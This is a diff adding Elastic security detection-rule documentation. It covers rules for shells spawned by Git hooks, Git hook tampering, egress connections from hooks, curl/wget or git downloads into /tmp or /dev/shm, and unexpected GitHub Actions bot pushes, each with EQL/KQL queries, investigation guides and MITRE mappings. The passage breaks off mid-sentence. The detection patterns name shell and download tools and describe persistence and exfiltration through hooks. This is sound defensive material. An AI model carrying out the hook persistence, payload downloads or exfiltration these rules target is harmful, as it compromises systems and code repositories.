Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and + process.parent.name == "git" and process.args like ".git/hooks/*" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") + ] by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and + process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-git-hook-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-git-hook-created-or-modified.asciidoc new file mode 100644 index 0000000000..e57a231423 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-git-hook-created-or-modified.asciidoc @@ -0,0 +1,198 @@ +[[prebuilt-rule-8-19-20-git-hook-created-or-modified]] +=== Git Hook Created or Modified + +This rule detects the creation or modification of a Git hook file on a Linux system. Git hooks are scripts that Git executes before or after events such as commit, push, and receive. They are used to automate tasks, enforce policies, and customize Git's behavior. Attackers can abuse Git hooks to maintain persistence on a system by executing malicious code whenever a specific Git event occurs. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://git-scm.com/docs/githooks/2.26.0 +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Git Hook Created or Modified* + + +Git hooks are scripts that automate tasks by executing before or after Git events like commits or pushes. While beneficial for developers, adversaries can exploit them to execute malicious code, maintaining persistence on a system. The detection rule identifies suspicious creation or modification of Git hooks on Linux, excluding benign processes, to flag potential abuse. + + +*Possible investigation steps* + + +- Review the file path to confirm the location of the modified or created Git hook file and determine if it aligns with known repositories or projects on the system. +- Identify the process executable responsible for the creation or modification of the Git hook file and verify if it is a known and legitimate process, excluding those listed in the query. +- Check the timestamp of the event to correlate with any known user activities or scheduled tasks that might explain the modification or creation of the Git hook. +- Investigate the user account associated with the process that triggered the alert to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Examine the contents of the modified or newly created Git hook file to identify any potentially malicious code or unexpected changes. +- Cross-reference the event with other security logs or alerts to identify any related suspicious activities or patterns that might indicate a broader attack or compromise. + + +*False positive analysis* + + +- System package managers like dpkg, rpm, and yum can trigger false positives when they create or modify Git hooks during package installations or updates. To manage this, ensure these executables are included in the exclusion list within the detection rule. +- Automated deployment tools such as Puppet and Chef may modify Git hooks as part of their configuration management processes. Exclude these tools by adding their executables to the exception list to prevent false alerts. +- Continuous integration and deployment systems like Jenkins or GitLab runners might modify Git hooks as part of their build processes. Identify and exclude these processes by adding their specific executables or paths to the exclusion criteria. +- Custom scripts or internal tools that are known to modify Git hooks for legitimate purposes should be identified and their executables added to the exclusion list to avoid unnecessary alerts. +- Consider excluding specific directories or paths that are known to be used by trusted applications or processes for Git hook modifications, ensuring these are not flagged as suspicious. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or further execution of malicious code. +- Terminate any suspicious processes associated with the creation or modification of Git hooks that are not part of the known benign processes listed in the detection rule. +- Conduct a thorough review of the modified or newly created Git hook scripts to identify and remove any malicious code or unauthorized changes. +- Restore any affected Git repositories from a known good backup to ensure integrity and remove any persistence mechanisms. +- Implement file integrity monitoring on the .git/hooks directory to detect unauthorized changes in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Review and update access controls and permissions for Git repositories to limit the ability to modify hook scripts to only trusted users. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and file.path like "*.git/hooks/*" and +file.extension == null and process.executable != null and not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", "/bin/pamac-daemon", + "/usr/local/bin/dockerd", "/sbin/dockerd", "/usr/bin/fuse-overlayfs", "/usr/local/bin/gitlab-runner", + "/usr/bin/coreutils", "/usr/bin/nautilus" + ) or + process.executable like ( + "/nix/store/*", "/var/lib/dpkg/*", "/snap/*", "/dev/fd/*", "/run/k3s/containerd/io.containerd.runtime.v2.task/k8s.io/*/r10k" + ) or + process.name in ("git", "dirname", "tar", "gitea", "git-lfs") or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-git-hook-egress-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-git-hook-egress-network-connection.asciidoc new file mode 100644 index 0000000000..ea95518194 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-git-hook-egress-network-connection.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-20-git-hook-egress-network-connection]] +=== Git Hook Egress Network Connection + +This rule detects a suspicious egress network connection attempt from a Git hook script. Git hooks are scripts that Git executes before or after events such as: commit, push, and receive. An attacker can abuse these features to execute arbitrary commands on the system, establish persistence or to initialize a network connection to a remote server and exfiltrate data or download additional payloads. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-endpoint.events.network* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-git +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Git Hook Egress Network Connection* + + +Git hooks are scripts that automate tasks during Git operations like commits or pushes. Adversaries can exploit these hooks to execute unauthorized commands, maintain persistence, or initiate network connections for data exfiltration. The detection rule identifies suspicious network activities by monitoring script executions from Git hooks and subsequent egress connections to non-local IPs, flagging potential misuse. + + +*Possible investigation steps* + + +- Review the process execution details to identify the specific Git hook script that triggered the alert. Check the process.args field for the exact script path within the .git/hooks directory. +- Investigate the parent process details to confirm the legitimacy of the Git operation. Verify the process.parent.name is "git" and assess whether the Git activity aligns with expected user or system behavior. +- Analyze the destination IP address involved in the network connection attempt. Use the destination.ip field to determine if the IP is known, trusted, or associated with any malicious activity. +- Check for any additional network connections from the same host around the time of the alert to identify potential patterns or additional suspicious activity. +- Correlate the alert with any recent changes in the repository or system that might explain the execution of the Git hook, such as recent commits or updates. +- Review user activity logs to determine if the Git operation was performed by an authorized user and if their actions align with their typical behavior. +- If suspicious activity is confirmed, isolate the affected system to prevent further unauthorized access or data exfiltration and initiate a deeper forensic analysis. + + +*False positive analysis* + + +- Legitimate automated scripts or CI/CD pipelines may trigger Git hooks to perform network operations. Review the source and purpose of these scripts and consider excluding them if they are verified as non-threatening. +- Development environments often use Git hooks for tasks like fetching dependencies or updating remote services. Identify these common operations and create exceptions for known safe IP addresses or domains. +- Internal tools or services that rely on Git hooks for communication with other internal systems might be flagged. Ensure these tools are documented and whitelist their network activities if they are deemed secure. +- Frequent updates or deployments that involve Git hooks could lead to repeated alerts. Monitor the frequency and context of these alerts to determine if they are part of regular operations and adjust the rule to reduce noise. +- Consider the context of the network connection, such as the destination IP or domain. If the destination is a known and trusted entity, it may be appropriate to exclude it from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized egress connections and potential data exfiltration. +- Terminate any suspicious processes identified as originating from Git hooks, particularly those executing shell scripts like bash, dash, or zsh. +- Conduct a thorough review of the .git/hooks directory on the affected system to identify and remove any unauthorized or malicious scripts. +- Reset credentials and access tokens associated with the affected Git repository to prevent further unauthorized access. +- Restore any modified or deleted files from a known good backup to ensure system integrity. +- Implement network monitoring to detect and block any future unauthorized egress connections from Git hooks or similar scripts. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems or repositories. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.parent.name == "git" and process.args like ".git/hooks/*" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + not (process.name like "python*" and process.command_line like "*pip*") + ] by process.entity_id + [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and not ( + destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8", "172.31.0.0/16" + ) + ) + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-git-repository-or-file-download-to-suspicious-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-git-repository-or-file-download-to-suspicious-directory.asciidoc new file mode 100644 index 0000000000..1202a40cb8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-git-repository-or-file-download-to-suspicious-directory.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-20-git-repository-or-file-download-to-suspicious-directory]] +=== Git Repository or File Download to Suspicious Directory + +This rule detects the use of git to clone a repository or download files from GitHub using wget or curl, followed by the creation of files in suspicious directories such as /tmp, /var/tmp, or /dev/shm. This behavior may indicate an attempt to download a payload, exploit or tool. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Git Repository or File Download to Suspicious Directory* + + +Git, wget, and curl are essential tools for managing and transferring files in Linux environments. Adversaries exploit these tools to download malicious payloads into temporary directories like /tmp, /var/tmp, or /dev/shm, which are often overlooked. The detection rule identifies this behavior by monitoring for git clone commands or GitHub downloads followed by file creation in these directories, signaling potential threats. + + +*Possible investigation steps* + + +- Review the process details, including process.entity_id and process.name, to confirm the execution of git, wget, or curl commands and verify if they align with expected usage patterns. +- Examine the process.command_line field to identify the specific GitHub URL or repository being accessed, and assess whether it is known or potentially malicious. +- Check the file creation event details, focusing on the file.path to determine the exact location and nature of the files created in /tmp, /var/tmp, or /dev/shm directories. +- Investigate the host.id and host.os.type to gather additional context about the affected system, including its role and any recent changes or anomalies. +- Correlate the timing of the process start and file creation events to understand the sequence of actions and identify any potential patterns or anomalies. +- Consult threat intelligence sources to determine if the accessed GitHub repository or downloaded files are associated with known threats or malicious activity. + + +*False positive analysis* + + +- Development activities may trigger this rule when developers clone repositories or download files from GitHub into temporary directories for testing purposes. To manage this, create exceptions for specific user accounts or processes that are known to perform legitimate development tasks. +- Automated scripts or cron jobs that regularly update or download files from GitHub into temporary directories can also cause false positives. Identify these scripts and exclude their process IDs or command patterns from the rule. +- System maintenance tasks that involve downloading updates or patches into temporary directories might be flagged. Coordinate with system administrators to identify these tasks and whitelist the associated processes or directories. +- Security tools or monitoring solutions that download threat intelligence feeds or other data into temporary directories could be mistakenly identified. Verify these tools and exclude their activities from the rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system to prevent further potential malicious activity and lateral movement within the network. +- Terminate any suspicious processes related to git, wget, or curl that are actively running and associated with the creation of files in the /tmp, /var/tmp, or /dev/shm directories. +- Conduct a thorough examination of the files created in these directories to identify and remove any malicious payloads or tools. +- Restore any compromised files or systems from clean backups to ensure the integrity of the affected system. +- Implement network monitoring to detect and block any unauthorized outbound connections to suspicious domains, particularly those related to GitHub or other code repositories. +- Escalate the incident to the security operations center (SOC) for further analysis and to determine if additional systems may be affected. +- Update endpoint protection and intrusion detection systems to enhance detection capabilities for similar threats, focusing on the specific indicators of compromise identified in this alert. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Elastic Defend integration does not collect environment variable logging by default. +In order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration. + #### To set up environment variable capture for an Elastic Agent policy: +- Go to “Security → Manage → Policies”. +- Select an “Elastic Agent policy”. +- Click “Show advanced settings”. +- Scroll down or search for “linux.advanced.capture_env_vars”. +- Enter the names of environment variables you want to capture, separated by commas. +- For this rule the linux.advanced.capture_env_vars variable should be set to "HTTP_PROXY,HTTPS_PROXY,ALL_PROXY". +- Click “Save”. +After saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly. +For more information on capturing environment variables refer to the https://www.elastic.co/guide/en/security/current/environment-variable-capture.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id, host.id with maxspan=10s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.name == "git" and process.args == "clone") or + (process.name in ("wget", "curl") and process.command_line like~ "*github*") + ) and not ( + process.parent.name in ("git", "cmake") or + process.parent.args like "/root/.ansible/tmp/ansible*" + )] + [file where host.os.type == "linux" and event.type == "creation" and file.path like ("/tmp/*", "/var/tmp/*", "/dev/shm/*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-actions-unusual-bot-push-to-repository.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-actions-unusual-bot-push-to-repository.asciidoc new file mode 100644 index 0000000000..9ed53059fd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-actions-unusual-bot-push-to-repository.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-20-github-actions-unusual-bot-push-to-repository]] +=== GitHub Actions Unusual Bot Push to Repository + +Detects when the github-actions[bot] pushes code to a repository where it has not performed this behavior before in a certain time window. This may indicate a supply chain attack where malicious code running in a CI workflow attempts to modify repository contents, such as injecting backdoor workflow files. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Persistence +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GitHub Actions Unusual Bot Push to Repository* + + +This rule detects when the GitHub Actions bot pushes to a repository where it hasn't pushed to in a certain time interval. While this can be +legitimate automation, it may also indicate a supply chain attack where malicious code executes during CI and attempts +to modify repository contents. + + +*Possible investigation steps* + + +- Review the `github.repo` field to identify the affected repository. +- Check recent workflow runs in the repository to identify which workflow triggered the push. +- Examine the repository's commit history to see what files were modified by the bot push. +- Look for newly added or modified files in `.github/workflows/` directory. +- Review the repository's dependencies for recently added or updated packages with preinstall/postinstall hooks. +- Check if the repository has legitimate automation that would explain bot pushes (Dependabot, Renovate, release automation). +- Correlate with `protected_branch.rejected_ref_update` events to see if workflow injection was blocked. +- Search for other repositories in the organization with similar suspicious activity. + + +*False positive analysis* + + +- Repositories with auto-commit workflows (formatting, changelog generation, version bumps) will trigger on first run. +- Dependabot or Renovate auto-merge configurations cause legitimate bot pushes. +- GitHub Pages deployment workflows may push to gh-pages branches. +- Release automation that updates version files or generates artifacts. + + +*Response and remediation* + + +- If the push is unexpected, immediately review the commit contents for malicious files. +- Check for suspicious workflow files (e.g., `discussion_*.yaml`, `formatter_*.yml`). +- Audit all dependencies in the affected repository for malicious packages. +- Rotate any secrets that may have been exposed during the workflow run. +- Enable branch protection rules to require PR reviews for all changes. +- Consider restricting GITHUB_TOKEN permissions in workflow files using `permissions:` key. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "github.audit" and + event.action: "git.push" and + user.name: "github-actions[bot]" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-actions-workflow-modification-blocked.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-actions-workflow-modification-blocked.asciidoc new file mode 100644 index 0000000000..d4efe338fd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-actions-workflow-modification-blocked.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-20-github-actions-workflow-modification-blocked]] +=== GitHub Actions Workflow Modification Blocked + +Detects when a GitHub Actions workflow attempts to create or modify workflow files in a protected branch but is blocked due to insufficient permissions. This behavior is indicative of a supply chain attack where a 